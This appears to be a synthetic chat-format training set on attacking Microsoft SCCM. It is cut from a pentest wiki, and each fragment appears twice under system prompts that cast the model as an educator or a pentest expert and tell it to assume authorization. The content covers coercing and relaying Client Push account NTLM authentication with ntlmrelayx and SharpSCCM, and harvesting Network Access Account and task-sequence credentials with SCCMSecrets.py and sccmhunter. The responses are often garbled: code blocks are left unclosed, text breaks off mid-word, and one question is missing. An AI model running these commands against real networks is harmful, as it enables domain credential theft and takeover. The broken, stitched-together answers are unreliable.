> For additional attack techniques and defense strategies related to client push account coercion in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - ELEVATE-2: Relay Client Push Installation
> - ELEVATE-3: Relay Client Push Installation (with AD System Discovery)
> - COERCE-2: CcmExec Coercion

> [!TIP]
> In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Client Push account authentication coercion - Theory during a pentest?

Response:
If SCCM is deployed via Client Push Accounts, it is possible, from a compromised SCCM client, to coerce the Client Push Account into authenticating to an arbitrary remote resource. It is then possible to retrieve NTLM authentication data in order to crack the account's password or relay the data to other services. Client Push Accounts are privileged as they are required to have local administrator rights on workstations on which they deploy the SCCM client.

> [!TIP]
> For additional attack techniques and defense strategies related to client push account coercion in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - ELEVATE-2: Relay Client Push Installation
> - ELEVATE-3: Relay Client Push Installation (with AD System Discovery)
> - COERCE-2: CcmExec Coercion

> [!TIP]
> In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Client Push account authentication coercion - Authentication Coercion via Client Push Installation?

[Assistant] The client push installation can be triggered forcefully or - if you're lucky - your compromised machine might not have the SCCM client installed, which mean you could capture the client push installation as it occurs.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Client Push account authentication coercion - Authentication Coercion via Client Push Installation?

Response: The client push installation can be triggered forcefully or - if you're lucky - your compromised machine might not have the SCCM client installed, which mean you could capture the client push installation as it occurs.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Client Push account authentication coercion - Authentication Coercion via Client Push Installation during a pentest?

[Assistant] The client push installation can be triggered forcefully or - if you're lucky - your compromised machine might not have the SCCM client installed, which mean you could capture the client push installation as it occurs.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Client Push account authentication coercion - Authentication Coercion via Client Push Installation during a pentest?

Response: The client push installation can be triggered forcefully or - if you're lucky - your compromised machine might not have the SCCM client installed, which mean you could capture the client push installation as it occurs.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Client Push account authentication coercion - Option 2: Forcefully "coerce" the Client Push Installation work?

[Assistant]
> [!WARNING]
> One should read this blog before continuing, as this attack might leave traces behind and might mess things up with the SCCM environment.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Client Push account authentication coercion - Option 2: Forcefully "coerce" the Client Push Installation work?

Response:
> [!WARNING]
> One should read this blog before continuing, as this attack might leave traces behind and might mess things up with the SCCM environment.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Client Push account authentication coercion - Option 2: Forcefully "coerce" the Client Push Installation?

[Assistant]
> [!WARNING]
> One should read this blog before continuing, as this attack might leave traces behind and might mess things up with the SCCM environment.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Client Push account authentication coercion - Option 2: Forcefully "coerce" the Client Push Installation?

Response:
> [!WARNING]
> One should read this blog before continuing, as this attack might leave traces behind and might mess things up with the SCCM environment.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Client Push account authentication coercion - Step 1: prepare coercion listener

[Assistant]
Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).

```sh

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Client Push account authentication coercion - Step 1: prepare coercion listener

Response:
Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).

```sh


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Client Push account authentication coercion - Step 1: prepare coercion listener

[Assistant]
Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).

```sh

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Client Push account authentication coercion - Step 1: prepare coercion listener

Response:
Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).

```sh


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Client Push account authentication coercion - Relay using ntlmrelayx.py

[Assistant]
ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179
``
``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Client Push account authentication coercion - Relay using ntlmrelayx.py

Response:
ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179
``
``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Client Push account authentication coercion - Relay using ntlmrelayx.py?

[Assistant]
ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179
``
``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Client Push account authentication coercion - Relay using ntlmrelayx.py?

Response:
ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179
``
``powershell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does If admin access over Management Point (MP) work?

[Assistant] SharpSCCM.exe invoke client-push -t $TARGET --as-admin

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does If admin access over Management Point (MP) work?

Response: SharpSCCM.exe invoke client-push -t $TARGET --as-admin


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for If admin access over Management Point (MP)

[Assistant] SharpSCCM.exe invoke client-push -t $TARGET --as-admin

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for If admin access over Management Point (MP)

Response: SharpSCCM.exe invoke client-push -t $TARGET --as-admin


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Client Push account authentication coercion - Step 3: cleanup

[Assistant] If you run the above SharpSCCM command with the --as-admin parameter (since you have admin privileges over the MP), there's nothing to do. Otherwise, get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t $TARGET parameter. This is the device name that will appear in SCCM.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Client Push account authentication coercion - Step 3: cleanup

Response: If you run the above SharpSCCM command with the --as-admin parameter (since you have admin privileges over the MP), there's nothing to do. Otherwise, get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t $TARGET parameter. This is the device name that will appear in SCCM.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Client Push account authentication coercion - Step 3: cleanup

[Assistant] If you run the above SharpSCCM command with the --as-admin parameter (since you have admin privileges over the MP), there's nothing to do. Otherwise, get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t $TARGET parameter. This is the device name that will appear in SCCM.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Client Push account authentication coercion - Step 3: cleanup

Response: If you run the above SharpSCCM command with the --as-admin parameter (since you have admin privileges over the MP), there's nothing to do. Otherwise, get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t $TARGET parameter. This is the device name that will appear in SCCM.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Credential harvesting - Theory work?

[Assistant]
For more details on this subject, see this Synacktiv article.

This blogpost also contains useful information on the topic.

> [!TIP]
> For additional attack techniques and defense strategies related to credential harvesting in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - CRED-1: PXE Credentials
> - CRED-2: Policy Request Credentials
> - CRED-3: DPAPI Credentials
> - CRED-4: Legacy Credentials
> - CRED-5: Site Database Credentials
> - CRED-6: Looting Distribution Points
> - CRED-7: AdminService API Credentials
> - CRED-8: Policy Creds MP Relay

An SCCM infrastructure may contain a wide range of cleartext credentials accessible from various levels of privileges. Some credentials can be associated with privileged accounts in the domain. From a privilege escalation perspective, we are interested in secrets retrievable using an SCCM client or a low-privilege account in the domain.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Credential harvesting - Theory work?

Response:
For more details on this subject, see this Synacktiv article.

This blogpost also contains useful information on the topic.

> [!TIP]
> For additional attack techniques and defense strategies related to credential harvesting in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - CRED-1: PXE Credentials
> - CRED-2: Policy Request Credentials
> - CRED-3: DPAPI Credentials
> - CRED-4: Legacy Credentials
> - CRED-5: Site Database Credentials
> - CRED-6: Looting Distribution Points
> - CRED-7: AdminService API Credentials
> - CRED-8: Policy Creds MP Relay

An SCCM infrastructure may contain a wide range of cleartext credentials accessible from various levels of privileges. Some credentials can be associated with privileged accounts in the domain. From a privilege escalation perspective, we are interested in secrets retrievable using an SCCM client or a low-privilege account in the domain.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Credential harvesting - Theory?

[Assistant]
For more details on this subject, see this Synacktiv article.

This blogpost also contains useful information on the topic.

> [!TIP]
> For additional attack techniques and defense strategies related to credential harvesting in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - CRED-1: PXE Credentials
> - CRED-2: Policy Request Credentials
> - CRED-3: DPAPI Credentials
> - CRED-4: Legacy Credentials
> - CRED-5: Site Database Credentials
> - CRED-6: Looting Distribution Points
> - CRED-7: AdminService API Credentials
> - CRED-8: Policy Creds MP Relay

An SCCM infrastructure may contain a wide range of cleartext credentials accessible from various levels of privileges. Some credentials can be associated with privileged accounts in the domain. From a privilege escalation perspective, we are interested in secrets retrievable using an SCCM client or a low-privilege account in the domain.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Credential harvesting - Theory?

Response:
For more details on this subject, see this Synacktiv article.

This blogpost also contains useful information on the topic.

> [!TIP]
> For additional attack techniques and defense strategies related to credential harvesting in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - CRED-1: PXE Credentials
> - CRED-2: Policy Request Credentials
> - CRED-3: DPAPI Credentials
> - CRED-4: Legacy Credentials
> - CRED-5: Site Database Credentials
> - CRED-6: Looting Distribution Points
> - CRED-7: AdminService API Credentials
> - CRED-8: Policy Creds MP Relay

An SCCM infrastructure may contain a wide range of cleartext credentials accessible from various levels of privileges. Some credentials can be associated with privileged accounts in the domain. From a privilege escalation perspective, we are interested in secrets retrievable using an SCCM client or a low-privilege account in the domain.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Credential harvesting - Secret policies: Network Access Accounts (NAAs), Task sequences and Collection variables

[Assistant]
Some policies may contain sensitive data and are tagged as secret policies. Only registered SCCM devices in the approved state may request them. By default in SCCM, two device registration endpoints are available on the Management Point (MP): http://<MP>/ccm_system/request and http://<MP>/ccm_system_windowsauth/request. The first one is unauthenticated, meaning that anyone can generate a self-signed certificate and register an arbitrary device; however, by default, devices registered through this endpoint are not approved, which means that they cannot request secret policies. The second endpoint is authenticated and requires credentials for a domain computer account; devices registered through this endpoint are, by default, automatically approved.

> [!TIP]
> This concretely means that an attacker that has a machine account or that is able to relay one can register an approved device and dump secret policies. Also, note that it is possible for sysadmins to misconfigure SCCM in order to automatically approve any device registering through the unauthenticated registration endpoint. In that case, an unauthenticated attacker on the network could dump secret policies.

Three kinds of policies are tagged as secret and can contain credentials:

* Network Access Accounts (NAAs): NAAs are manually created domain accounts used to retrieve data from the SCCM Distribution Point (DP) if the machine cannot use its machine account. Typically, when a machine has not yet been registered in the domain. NAA does not need to be privileged on the domain, but it can happen that administrators give too many privileges to these accounts. NAA credentials are distributed via secret policies.
* Task sequences: Task sequences are automated workflows that can be deployed by administrators on client devices and that will execute a series of steps. Various task sequence steps require or give the possibility to the administrator to provide domain credentials in order to execute them. They are dist

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Credential harvesting - Secret policies: Network Access Accounts (NAAs), Task sequences and Collection variables

Response:
Some policies may contain sensitive data and are tagged as secret policies. Only registered SCCM devices in the approved state may request them. By default in SCCM, two device registration endpoints are available on the Management Point (MP): http://<MP>/ccm_system/request and http://<MP>/ccm_system_windowsauth/request. The first one is unauthenticated, meaning that anyone can generate a self-signed certificate and register an arbitrary device; however, by default, devices registered through this endpoint are not approved, which means that they cannot request secret policies. The second endpoint is authenticated and requires credentials for a domain computer account; devices registered through this endpoint are, by default, automatically approved.

> [!TIP]
> This concretely means that an attacker that has a machine account or that is able to relay one can register an approved device and dump secret policies. Also, note that it is possible for sysadmins to misconfigure SCCM in order to automatically approve any device registering through the unauthenticated registration endpoint. In that case, an unauthenticated attacker on the network could dump secret policies.

Three kinds of policies are tagged as secret and can contain credentials:

* Network Access Accounts (NAAs): NAAs are manually created domain accounts used to retrieve data from the SCCM Distribution Point (DP) if the machine cannot use its machine account. Typically, when a machine has not yet been registered in the domain. NAA does not need to be privileged on the domain, but it can happen that administrators give too many privileges to these accounts. NAA credentials are distributed via secret policies.
* Task sequences: Task sequences are automated workflows that can be deployed by administrators on client devices and that will execute a series of steps. Various task sequence steps require or give the possibility to the administrator to provide domain credentials in order to execute them. They are dist


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Credential harvesting - Secret policies: Network Access Accounts (NAAs), Task sequences and Collection variables?

[Assistant]
Some policies may contain sensitive data and are tagged as secret policies. Only registered SCCM devices in the approved state may request them. By default in SCCM, two device registration endpoints are available on the Management Point (MP): http://<MP>/ccm_system/request and http://<MP>/ccm_system_windowsauth/request. The first one is unauthenticated, meaning that anyone can generate a self-signed certificate and register an arbitrary device; however, by default, devices registered through this endpoint are not approved, which means that they cannot request secret policies. The second endpoint is authenticated and requires credentials for a domain computer account; devices registered through this endpoint are, by default, automatically approved.

> [!TIP]
> This concretely means that an attacker that has a machine account or that is able to relay one can register an approved device and dump secret policies. Also, note that it is possible for sysadmins to misconfigure SCCM in order to automatically approve any device registering through the unauthenticated registration endpoint. In that case, an unauthenticated attacker on the network could dump secret policies.

Three kinds of policies are tagged as secret and can contain credentials:

* Network Access Accounts (NAAs): NAAs are manually created domain accounts used to retrieve data from the SCCM Distribution Point (DP) if the machine cannot use its machine account. Typically, when a machine has not yet been registered in the domain. NAA does not need to be privileged on the domain, but it can happen that administrators give too many privileges to these accounts. NAA credentials are distributed via secret policies.
* Task sequences: Task sequences are automated workflows that can be deployed by administrators on client devices and that will execute a series of steps. Various task sequence steps require or give the possibility to the administrator to provide domain credentials in order to execute them. They are dist

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Credential harvesting - Secret policies: Network Access Accounts (NAAs), Task sequences and Collection variables?

Response:
Some policies may contain sensitive data and are tagged as secret policies. Only registered SCCM devices in the approved state may request them. By default in SCCM, two device registration endpoints are available on the Management Point (MP): http://<MP>/ccm_system/request and http://<MP>/ccm_system_windowsauth/request. The first one is unauthenticated, meaning that anyone can generate a self-signed certificate and register an arbitrary device; however, by default, devices registered through this endpoint are not approved, which means that they cannot request secret policies. The second endpoint is authenticated and requires credentials for a domain computer account; devices registered through this endpoint are, by default, automatically approved.

> [!TIP]
> This concretely means that an attacker that has a machine account or that is able to relay one can register an approved device and dump secret policies. Also, note that it is possible for sysadmins to misconfigure SCCM in order to automatically approve any device registering through the unauthenticated registration endpoint. In that case, an unauthenticated attacker on the network could dump secret policies.

Three kinds of policies are tagged as secret and can contain credentials:

* Network Access Accounts (NAAs): NAAs are manually created domain accounts used to retrieve data from the SCCM Distribution Point (DP) if the machine cannot use its machine account. Typically, when a machine has not yet been registered in the domain. NAA does not need to be privileged on the domain, but it can happen that administrators give too many privileges to these accounts. NAA credentials are distributed via secret policies.
* Task sequences: Task sequences are automated workflows that can be deployed by administrators on client devices and that will execute a series of steps. Various task sequence steps require or give the possibility to the administrator to provide domain credentials in order to execute them. They are dist


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Credential harvesting - Distribution Points resources?

[Assistant]
Policies may reference external resources hosted on a Distribution Point. These resources may be applications, OS images, but also configuration files, PowerShell scripts, certificates, or other kind of file susceptible to contain sensitive technical information such as credentials.

Distribution Point primarily distributes resources via SMB and HTTP. By default, valid domain credentials must be provided to access hosted resources.

> [!TIP]
> This concretely means that an attacker with any domain account can fetch Distribution Point resources. In addition, it is possible for sysadmins to misconfigure SCCM Distribution Points to allow anonymous access to resources. Note that anonymous access only works with the HTTP protocol, and retrieving Distribution Point resources via SMB always requires authentication, even with anonymous access configured.

SCCM Distribution Points may also be configured to enforce the use of HTTPS. Again, when this is the case, client certificate authentication will be required by the Distribution Point with a domain PKI client certificate.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Credential harvesting - Distribution Points resources?

Response:
Policies may reference external resources hosted on a Distribution Point. These resources may be applications, OS images, but also configuration files, PowerShell scripts, certificates, or other kind of file susceptible to contain sensitive technical information such as credentials.

Distribution Point primarily distributes resources via SMB and HTTP. By default, valid domain credentials must be provided to access hosted resources.

> [!TIP]
> This concretely means that an attacker with any domain account can fetch Distribution Point resources. In addition, it is possible for sysadmins to misconfigure SCCM Distribution Points to allow anonymous access to resources. Note that anonymous access only works with the HTTP protocol, and retrieving Distribution Point resources via SMB always requires authentication, even with anonymous access configured.

SCCM Distribution Points may also be configured to enforce the use of HTTPS. Again, when this is the case, client certificate authentication will be required by the Distribution Point with a domain PKI client certificate.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Credential harvesting - Distribution Points resources?

[Assistant]
Policies may reference external resources hosted on a Distribution Point. These resources may be applications, OS images, but also configuration files, PowerShell scripts, certificates, or other kind of file susceptible to contain sensitive technical information such as credentials.

Distribution Point primarily distributes resources via SMB and HTTP. By default, valid domain credentials must be provided to access hosted resources.

> [!TIP]
> This concretely means that an attacker with any domain account can fetch Distribution Point resources. In addition, it is possible for sysadmins to misconfigure SCCM Distribution Points to allow anonymous access to resources. Note that anonymous access only works with the HTTP protocol, and retrieving Distribution Point resources via SMB always requires authentication, even with anonymous access configured.

SCCM Distribution Points may also be configured to enforce the use of HTTPS. Again, when this is the case, client certificate authentication will be required by the Distribution Point with a domain PKI client certificate.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Credential harvesting - Distribution Points resources?

Response:
Policies may reference external resources hosted on a Distribution Point. These resources may be applications, OS images, but also configuration files, PowerShell scripts, certificates, or other kind of file susceptible to contain sensitive technical information such as credentials.

Distribution Point primarily distributes resources via SMB and HTTP. By default, valid domain credentials must be provided to access hosted resources.

> [!TIP]
> This concretely means that an attacker with any domain account can fetch Distribution Point resources. In addition, it is possible for sysadmins to misconfigure SCCM Distribution Points to allow anonymous access to resources. Note that anonymous access only works with the HTTP protocol, and retrieving Distribution Point resources via SMB always requires authentication, even with anonymous access configured.

SCCM Distribution Points may also be configured to enforce the use of HTTPS. Again, when this is the case, client certificate authentication will be required by the Distribution Point with a domain PKI client certificate.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Credential harvesting - Practice work?

[Assistant] As noted in the Theory section, secrets can be harvested from SCCM secret policies, or Distribution Point resources.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Credential harvesting - Practice work?

Response: As noted in the Theory section, secrets can be harvested from SCCM secret policies, or Distribution Point resources.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Credential harvesting - Practice

[Assistant] As noted in the Theory section, secrets can be harvested from SCCM secret policies, or Distribution Point resources.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Credential harvesting - Practice

Response: As noted in the Theory section, secrets can be harvested from SCCM secret policies, or Distribution Point resources.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Credential harvesting - Secret SCCM policies?

[Assistant]
Only approved SCCM devices can fetch secret policies. It is first possible to register a device ourselves by providing domain machine account credentials (or exploiting automatic device approval).

::: tabs

=== UNIX-based

To this end, SCCMSecrets.py (Python) can be used. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped. This tool also supports HTTPS / client certificate authentication.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Credential harvesting - Secret SCCM policies?

Response:
Only approved SCCM devices can fetch secret policies. It is first possible to register a device ourselves by providing domain machine account credentials (or exploiting automatic device approval).

::: tabs

=== UNIX-based

To this end, SCCMSecrets.py (Python) can be used. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped. This tool also supports HTTPS / client certificate authentication.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Credential harvesting - Secret SCCM policies

[Assistant]
Only approved SCCM devices can fetch secret policies. It is first possible to register a device ourselves by providing domain machine account credentials (or exploiting automatic device approval).

::: tabs

=== UNIX-based

To this end, SCCMSecrets.py (Python) can be used. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped. This tool also supports HTTPS / client certificate authentication.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Credential harvesting - Secret SCCM policies

Response:
Only approved SCCM devices can fetch secret policies. It is first possible to register a device ourselves by providing domain machine account credentials (or exploiting automatic device approval).

::: tabs

=== UNIX-based

To this end, SCCMSecrets.py (Python) can be used. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped. This tool also supports HTTPS / client certificate authentication.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Plain HTTP?

[Assistant] python3 SCCMSecrets.py policies -mp "http://$MP_IP" -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: python3 SCCMSecrets.py policies -mp "http://$MP_IP" -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Plain HTTP during a pentest?

[Assistant] python3 SCCMSecrets.py policies -mp "http://$MP_IP" -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Plain HTTP during a pentest?

Response: python3 SCCMSecrets.py policies -mp "http://$MP_IP" -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of HTTPS with client certificate

[Assistant]
python3 SCCMSecrets.py policies -mp https://$MP_IP -u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' --pki-cert ./cert.pem --pki-key ./key.pem
``

Note that if you do not provide machine account credentials, SCCMSecrets.py will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain machine account.
`bash
python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug
`

Finally, this attack was first inspired by @xpn_'s work (refer to this blogpost). The tool associated with the blogpost, sccmwtf (Python), is available on Github. It can be used to perform the attack, however with two limitations: it will only dump the NAA secret policy, and it might fail on recent SCCM installations since the encryption algorithm changed.

The sccmhunter (Python) tool also implements sccmwtf, but with the same limitations.
`bash
#Create a new computer account and request the policies
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto

#To use an already controlled computer account
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -cn $COMPUTER_NAME -cp $COMPUTER_PASSWORD -dc-ip $DC_IP
`

=== Windows-based

On Windows, SharpSCCM (C#) can be used to register a device and dump secret policies. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped.

`powershell
.\SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD
`

:::

Instead of registering a new device, it is also possible to use an already compromised SCCM device in order to dump secret policies. Note that this can also be interesting as the compromised device may be part of specific device collections associated with more task sequences or collect

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of HTTPS with client certificate

Response:
python3 SCCMSecrets.py policies -mp https://$MP_IP -u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' --pki-cert ./cert.pem --pki-key ./key.pem
``

Note that if you do not provide machine account credentials, SCCMSecrets.py will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain machine account.
`bash
python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug
`

Finally, this attack was first inspired by @xpn_'s work (refer to this blogpost). The tool associated with the blogpost, sccmwtf (Python), is available on Github. It can be used to perform the attack, however with two limitations: it will only dump the NAA secret policy, and it might fail on recent SCCM installations since the encryption algorithm changed.

The sccmhunter (Python) tool also implements sccmwtf, but with the same limitations.
`bash
#Create a new computer account and request the policies
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto

